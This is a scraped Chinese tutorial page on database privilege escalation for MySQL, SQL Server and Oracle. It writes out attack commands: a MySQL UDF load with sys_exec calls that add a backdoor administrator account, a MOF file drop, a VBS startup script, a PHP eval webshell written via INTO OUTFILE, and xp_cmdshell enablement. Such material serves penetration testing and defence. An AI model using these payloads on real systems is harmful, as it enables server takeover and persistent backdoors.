2026/4/6 5:38:44
网站建设
项目流程
网站开发建设项目服务清单,jsp网站建设项目实战源代码,西部数码,个人网站能做淘宝客吗概述 (Overview)
当获得数据库的高权限访问#xff08;如 MySQL 的 root、SQL Server 的 sa、Oracle 的 SYSDBA#xff09;后#xff0c;可以利用数据库自身提供的功能#xff08;如用户自定义函数 UDF、存储过程、外部命令执行接口等#xff09;或漏洞#xff0c;在数据…概述 (Overview)当获得数据库的高权限访问如 MySQL 的 root、SQL Server 的 sa、Oracle 的 SYSDBA后可以利用数据库自身提供的功能如用户自定义函数 UDF、存储过程、外部命令执行接口等或漏洞在数据库服务器所在的操作系统上执行命令或获取 Shell从而将数据库权限提升为操作系统权限。MySQL 提权获取 MySQL 账号密码 (Gaining Credentials)Web 应用配置文件: 查找常见的配置文件名 (config.php,database.yml,web.config,conn.inc等) 读取数据库连接字符串。暴力破解: 如果 MySQL 端口 (默认 3306) 对外开放使用 Hydra, Medusa, Nmap NSE 脚本等进行在线爆破。读取物理文件 (需 OS 权限): 读取 MySQL 数据目录下的mysql/user.MYD文件包含用户信息密码为 HASH需离线破解。嗅探: 在网络中嗅探未加密的 MySQL 连接。其他漏洞: 利用 Web 应用漏洞如 SQL 注入、文件读取获取凭据。开启远程访问 (需要 root 权限):GRANTALLPRIVILEGESON*.*TOroot%IDENTIFIEDBYyour_password;FLUSHPRIVILEGES;利用 UDF (User-Defined Functions) 提权原理: 创建一个自定义函数通常用 C/C 编写并编译为共享库.so或.dll该函数可以调用系统命令。然后通过 SQL 语句调用这个 UDF 函数。利用条件:获取了 MySQL 的高权限账户如 root至少有INSERT,DELETE权限和CREATE FUNCTION权限。知道 MySQL 的插件目录 (plugin_dir) 路径并且该目录或其上级目录对 MySQL 进程可写或能通过其他方式将 DLL/SO 文件写入。(Windows) 可能需要绕过 AppArmor/SELinux 等安全限制。步骤 (以 Windows DLL 为例):确定插件目录:show variables like %plugin_dir%;准备 UDF 库: 获取预编译的udf.dll(如lib_mysqludf_sys提供的sys_exec,sys_eval) 或自行编译。上传/写入 DLL:如果plugin_dir可直接写入使用SELECT ... INTO DUMPFILE将 DLL 的十六进制内容写入。如果目录不存在或不可写尝试利用 NTFS ADS 流创建目录-- 假设插件目录是 C:\mysql\lib\plugin\-- (注意这种方法可能不可靠或已被修复)selectdataintodumpfileC:\\mysql\\lib::$INDEX_ALLOCATION;selectdataintodumpfileC:\\mysql\\lib\\plugin::$INDEX_ALLOCATION;-- 然后再尝试写入 DLLselect0x4D5A90...intodumpfileC:\\mysql\\lib\\plugin\\udf.dll;更好的方法是利用其他漏洞如文件上传或 OS 权限将 DLL 放入插件目录。旧版本路径: MySQL 5.1 可能尝试写入C:\Windows\System32或C:\Winnt\System32。创建函数:CREATEFUNCTIONsys_execRETURNSSTRINGSONAMEudf.dll;-- (或对应的 .so 文件)执行命令:SELECTsys_exec(net user hacker hacker /add);SELECTsys_exec(net localgroup administrators hacker /add);清理:DROPFUNCTIONsys_exec;-- (可选) 删除 DLL 文件自动化工具: “MySQL 综合利用工具” 等图形化工具简化了此过程。利用 MOF (Managed Object Format) 提权 (Windows)原理: Windows Management Instrumentation (WMI) 会周期性地编译C:\Windows\System32\wbem\mof\目录下的.mof文件并以 SYSTEM 权限执行其中定义的 WMI 事件消费者。可以通过构造恶意的.mof文件定义一个执行命令的消费者并将其写入该目录来实现提权。利用条件:获取了 MySQL 的FILE权限通常 root 有。MySQL 配置未启用secure-file-priv或其允许写入wbem/mof目录。目标是 Windows 系统。步骤:准备 MOF 文件: 编写一个.mof文件其内容定义一个 WMI 事件过滤器和消费者消费者执行恶意命令如添加用户。网上有现成的模板。上传 MOF 文件: 将.mof文件上传到服务器的可写目录如C:\wmpub\evil.mof。写入 MOF 目录: 使用SELECT ... INTO DUMPFILE将 MOF 文件内容写入目标目录。SELECTLOAD_FILE(C:/wmpub/evil.mof)INTODUMPFILEC:/Windows/System32/wbem/mof/evil.mof;等待执行: WMI 会自动编译并执行该 MOF 文件中的指令通常很快。验证: 检查命令是否已执行如net user查看是否添加了用户。风险: MOF 文件会被周期性执行可能导致重复添加用户等问题。需要设计好 MOF 文件或及时清理。利用SELECT ... INTO OUTFILE/DUMPFILE写文件原理: 直接利用FILE权限将恶意内容写入特定位置的文件实现代码执行或配置修改。写入启动项 (VBS 示例):-- 创建临时表存储 VBS 代码行CREATETABLEtemp_vbs(lineTEXT);INSERTINTOtemp_vbsVALUES(Set wshshell CreateObject(WScript.Shell));INSERTINTOtemp_vbsVALUES(a wshshell.run(cmd.exe /c net user hacker hacker /add, 0));INSERTINTOtemp_vbsVALUES(b wshshell.run(cmd.exe /c net localgroup Administrators hacker /add, 0));-- 将表内容导出为 VBS 文件到启动目录SELECTlineFROMtemp_vbsINTOOUTFILEC:/Documents and Settings/Administrator/Start Menu/Programs/Startup/evil.vbs;-- (路径可能因系统版本和用户名而异)DROPTABLEtemp_vbs;触发: 需要等待用户下次登录或系统重启。写入 WebShell: 如果知道 Web 目录路径且有权限可以直接写入 WebShell。SELECT?php eval($_POST[cmd]);?INTOOUTFILE/var/www/html/shell.php;SQL Server (MSSQL) 提权前提: 通常需要sa(System Administrator) 权限或具有CONTROL SERVER权限的用户。常用方法:xp_cmdshell:原理: 内建的扩展存储过程允许执行操作系统命令。默认可能被禁用。启用:-- 启用高级选项EXECsp_configureshow advanced options,1;RECONFIGURE;-- 启用 xp_cmdshellEXECsp_configurexp_cmdshell,1;RECONFIGURE;执行命令:EXEC master..xp_cmdshell whoami;执行权限: 通常以 SQL Server 服务账户的权限运行。如果服务账户是高权限用户如 LocalSystem, NetworkService 或配置的域用户即可提权。沙盒提权 (SQL Server 2005): 利用 CLR 集成、OLE Automation Objects (sp_OACreate,sp_OAMethod) 等执行 OS 命令。其他存储过程/功能: 如涉及文件系统操作、注册表操作的存储过程。获取凭据:查找 Web 应用配置文件 (web.config等)。暴力破解 (端口 1433)。嗅探。自动化工具: SQLTools, Metasploit 相关模块 (admin/mssql/mssql_enum,exploit/windows/mssql/mssql_payload等)。Oracle 提权前提: 通常需要SYSDBA,DBA权限或具有特定权限如CREATE ANY PROCEDURE,CREATE LIBRARY,EXECUTE ON JAVA.LANG.RUNTIME的用户。常用方法:Java Stored Procedures:原理: Oracle 支持使用 Java 编写存储过程。可以编写一个调用java.lang.Runtime.getRuntime().exec()的 Java 存储过程来执行 OS 命令。需要权限:CREATE PROCEDURE,EXECUTE ON JAVA.LANG.RUNTIME。External Procedures (extproc):原理: 调用在操作系统上编译的外部共享库 (.so/.dll) 中的函数。需要配置listener.ora和tnsnames.ora。可以编写一个执行命令的外部库。Scheduler Jobs: 创建一个数据库作业 (Job)使其执行包含 OS 命令的 PL/SQL 块或调用上述 Java/External Procedure。PL/SQL 包: 利用UTL_FILE(文件操作)、DBMS_XMLQUERY(可能触发 XXE 或 SSRF)、DBMS_ADVISOR.CREATE_FILE(写文件) 等包中的过程。获取凭据: Web 应用配置文件、默认口令 (如scott/tiger,sys/change_on_install)、暴力破解 (端口 1521)。自动化工具: OracleShell, Metasploit 相关模块。